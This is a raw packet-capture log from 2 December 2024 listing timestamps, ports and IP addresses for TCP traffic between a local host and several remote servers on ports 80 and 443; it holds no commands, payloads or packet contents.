Dec 2, 2024 11:20:17.018798113 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.018884897 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.018929005 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.019088030 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.029903889 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.040934086 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.041208029 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.041213989 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.041253090 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.041415930 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.052300930 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.063417912 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.063514948 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.063759089 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.063798904 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.063977003 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.074718952 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.085863113 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.085959911 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.086067915 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.086112022 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.086277008 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.125783920 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.130888939 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.131064892 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.131107092 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.141155005 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.141335011 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.141374111 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.151211023 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.151290894 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.151436090 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.151473045 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.151705027 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.160276890 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.169524908 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.169615030 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.169702053 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.169744968 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.169929981 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.177853107 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.186435938 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.186512947 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.186718941 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.186764956 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.186963081 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.195056915 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.203594923 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.203670979 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.203854084 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.203896046 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.204046011 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.204173088 CET	49718	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:17.204207897 CET	49741	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:17.212153912 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.220387936 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.220627069 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.220642090 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.220689058 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.220868111 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.229018927 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.237215042 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.237400055 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.237400055 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.237415075 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.237592936 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.245742083 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.254422903 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.254499912 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.254628897 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.254672050 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.254863977 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.262360096 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.270160913 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.270226955 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.270344019 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.270375967 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.270565033 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.277971029 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.285629034 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.285693884 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.285893917 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.285926104 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.286103964 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.293184042 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.297784090 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.297851086 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.297909975 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.297970057 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.298007965 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.298070908 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.302691936 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.302894115 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.302925110 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.307070971 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.307240009 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.307276011 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.311803102 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.312067986 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.312097073 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.316461086 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.316766977 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.316797972 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.320677996 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.320892096 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.320928097 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.325287104 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.325529099 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.325555086 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.329796076 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.329966068 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.329998970 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.334219933 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.334357977 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.334374905 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.334556103 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.334762096 CET	49735	443	192.168.11.20	192.178.49.206
Dec 2, 2024 11:20:17.334795952 CET	443	49735	192.178.49.206	192.168.11.20
Dec 2, 2024 11:20:17.525437117 CET	80	49718	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:17.526233912 CET	80	49741	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:17.526395082 CET	49741	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:17.526472092 CET	49741	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:17.526565075 CET	49741	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:17.848429918 CET	80	49741	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:17.848458052 CET	80	49741	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:18.083362103 CET	443	49693	23.62.226.43	192.168.11.20
Dec 2, 2024 11:20:18.083390951 CET	443	49693	23.62.226.43	192.168.11.20
Dec 2, 2024 11:20:18.083692074 CET	49693	443	192.168.11.20	23.62.226.43
Dec 2, 2024 11:20:18.355123997 CET	80	49741	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:18.355331898 CET	49741	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:18.398426056 CET	49736	443	192.168.11.20	142.250.69.4
Dec 2, 2024 11:20:18.594023943 CET	49741	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:18.594023943 CET	49741	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:18.916178942 CET	80	49741	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:18.916207075 CET	80	49741	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:19.424834013 CET	80	49741	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:19.425054073 CET	49741	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:19.477405071 CET	49741	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:19.799285889 CET	80	49741	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:20.301347971 CET	80	49741	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:20.301590919 CET	49741	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:21.344044924 CET	49742	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:20:21.344094038 CET	443	49742	40.126.62.130	192.168.11.20
Dec 2, 2024 11:20:21.344290972 CET	49742	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:20:21.344487906 CET	49742	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:20:21.344520092 CET	443	49742	40.126.62.130	192.168.11.20
Dec 2, 2024 11:20:21.858695030 CET	443	49742	40.126.62.130	192.168.11.20
Dec 2, 2024 11:20:21.858870983 CET	49742	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:20:21.869132042 CET	49742	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:20:21.869147062 CET	443	49742	40.126.62.130	192.168.11.20
Dec 2, 2024 11:20:21.869374037 CET	443	49742	40.126.62.130	192.168.11.20
Dec 2, 2024 11:20:21.869837046 CET	49742	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:20:21.869858980 CET	49742	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:20:21.869893074 CET	443	49742	40.126.62.130	192.168.11.20
Dec 2, 2024 11:20:21.869956970 CET	49742	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:20:21.870014906 CET	443	49742	40.126.62.130	192.168.11.20
Dec 2, 2024 11:20:22.231995106 CET	443	49742	40.126.62.130	192.168.11.20
Dec 2, 2024 11:20:22.232007027 CET	443	49742	40.126.62.130	192.168.11.20
Dec 2, 2024 11:20:22.232059002 CET	443	49742	40.126.62.130	192.168.11.20
Dec 2, 2024 11:20:22.232062101 CET	443	49742	40.126.62.130	192.168.11.20
Dec 2, 2024 11:20:22.232151985 CET	49742	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:20:22.232265949 CET	49742	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:20:22.232435942 CET	49742	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:20:22.232435942 CET	49742	443	192.168.11.20	40.126.62.130
Dec 2, 2024 11:20:22.232450008 CET	443	49742	40.126.62.130	192.168.11.20
Dec 2, 2024 11:20:22.232455015 CET	443	49742	40.126.62.130	192.168.11.20
Dec 2, 2024 11:20:25.306330919 CET	80	49741	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:25.306556940 CET	49741	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:31.942563057 CET	49741	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:31.942751884 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:32.264511108 CET	80	49741	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:32.264523983 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:32.264966965 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:32.265047073 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:32.587383986 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:33.093301058 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:33.093553066 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:33.158621073 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:33.480825901 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:33.976875067 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:33.977138042 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:34.418493032 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:34.740437984 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:34.740609884 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:34.740828991 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:34.740858078 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:34.741092920 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:34.741113901 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:34.741204023 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:34.741316080 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:34.741365910 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:34.741389036 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:34.741421938 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:34.741468906 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:34.741550922 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:34.741569996 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:34.741615057 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:34.741669893 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:34.741705894 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:34.741748095 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:34.741786003 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:34.741832972 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:34.741978884 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.063024998 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.063087940 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.063307047 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.063321114 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.063366890 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.063385963 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.063412905 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.063512087 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.063555956 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.063602924 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.063649893 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.063797951 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.063843012 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.063949108 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.064007998 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.064053059 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.064160109 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.064160109 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.064240932 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.064290047 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.064305067 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.064378977 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.064424038 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.064466000 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.064490080 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.064490080 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.064577103 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.064641953 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.064641953 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.064738035 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.064784050 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.064790010 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.064945936 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.064945936 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.065093040 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.065150023 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.065378904 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.385621071 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.385858059 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.385879040 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.385890961 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.386033058 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.386033058 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.386082888 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.386102915 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.386117935 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.386312962 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.386339903 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.386451006 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.386606932 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.386639118 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.386714935 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.386737108 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.386751890 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.386801958 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.386817932 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.386918068 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.386919022 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.386996031 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.387036085 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.387136936 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.387147903 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.387260914 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.387273073 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.387276888 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.387343884 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.387399912 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.387510061 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.387511015 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.387526035 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.387624979 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.387670040 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.387670040 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.387840986 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.387861013 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.387875080 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.388041019 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.388045073 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.388060093 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.388164043 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.388164043 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.388257980 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.388292074 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.388433933 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.388448954 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.388490915 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.388552904 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.388659954 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.388746023 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.388760090 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.388792992 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.388906956 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.388976097 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.388988972 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.389084101 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.389112949 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.389136076 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.389255047 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.389307022 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.389363050 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.389434099 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.389475107 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.389494896 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.389525890 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.389606953 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.389652967 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.707987070 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.708197117 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.708200932 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.708261013 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.708379030 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.708380938 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.708451033 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.708461046 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.708578110 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.708610058 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.708657980 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.708717108 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.708741903 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.708774090 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.708852053 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.708858967 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.708904982 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.708992958 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.709034920 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.709184885 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.709260941 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.709316015 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.709362984 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.709405899 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.709455013 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.709455013 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.709481955 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.709501028 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.709527016 CET	80	49748	185.215.113.206	192.168.11.20
Dec 2, 2024 11:20:35.709547997 CET	49748	80	192.168.11.20	185.215.113.206
Dec 2, 2024 11:20:35.709569931 CET	80	49748	185.215.113.206	192.168.11.20
